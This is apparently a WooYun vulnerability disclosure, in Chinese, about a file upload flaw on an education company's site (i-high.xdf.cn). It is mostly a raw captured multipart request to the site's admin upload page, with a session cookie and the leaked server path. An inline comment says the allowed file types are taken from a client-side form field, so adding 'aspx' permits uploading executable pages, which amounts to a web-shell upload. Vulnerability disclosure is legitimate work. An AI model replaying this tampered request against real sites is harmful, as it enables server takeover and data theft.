WooYun.org

头部一段信息：
Referer: http://i-high.xdf.cn/webmanage/system_dntb/uploadImg.aspx
Cookie: ASP.NET_SessionId=yz2sspglgwbq1yekgfiwftkf; uploadFolder=upload/; uploadConfig=F:\high\webmanage\/system_dntb/uploadconfig/default.config; configpath=F:\high\webmanage\/system_dntb/; languages=zh-cn
（上面直接爆出了网站绝对路径）
中间省略掉了....
-----------------------------234272358819541
Content-Disposition: form-data; name="uploadBtn"
ÉÏ ´«
-----------------------------234272358819541
Content-Disposition: form-data; name="file_path"
-----------------------------234272358819541
Content-Disposition: form-data; name="RadioButtonList1"
local
-----------------------------234272358819541
Content-Disposition: form-data; name="File_List$ctl02$check"
on
-----------------------------234272358819541
Content-Disposition: form-data; name="File_List$ctl03$check"
on
-----------------------------234272358819541
Content-Disposition: form-data; name="config_watermark"
false
-----------------------------234272358819541
Content-Disposition: form-data; name="config_watermarkText"
http://i-high.neworiental.org
-----------------------------234272358819541
Content-Disposition: form-data; name="config_watermarkImages"
false
-----------------------------234272358819541
Content-Disposition: form-data; name="config_watermakOption"
off
-----------------------------234272358819541
Content-Disposition: form-data; name="config_watermarkImages_path"
../system_dntb/upload/logo.gif
-----------------------------234272358819541
Content-Disposition: form-data; name="config_smallImages"
true
-----------------------------234272358819541
Content-Disposition: form-data; name="config_smallImagesName"
wap
-----------------------------234272358819541
Content-Disposition: form-data; name="config_maxAllUploadSize"
2048000
-----------------------------234272358819541
Content-Disposition: form-data; name="config_autoname"
false
-----------------------------234272358819541
Content-Disposition: form-data; name="config_allowUpload"
true
-----------------------------234272358819541
Content-Disposition: form-data; name="config_fileFilters"
jpg,gif,png             //重点找到了,好吧这样判断文件就不安全了哦,哈哈.直接加一个aspx
-----------------------------234272358819541
Content-Disposition: form-data; name="config_maxSingleUploadSize"
1024
-----------------------------234272358819541
Content-Disposition: form-data; name="config_fileListBox"
true
-----------------------------234272358819541
Content-Disposition: form-data; name="config_watermarkImagesName"
false
-----------------------------234272358819541
Content-Disposition: form-data; name="config_watermarkName"
false
-----------------------------234272358819541
Content-Disposition: form-data; name="config_smallImagesType"
W
-----------------------------234272358819541
Content-Disposition: form-data; name="config_smallImagesW"
120
-----------------------------234272358819541
Content-Disposition: form-data; name="config_smallImagesH"
150
-----------------------------234272358819541
Content-Disposition: form-data; name="config_type"
Images
-----------------------------234272358819541--

[ 您已经使用了：549.01MB，还有：1450.99MB的上传空间，单个文件限制：1.00MB ]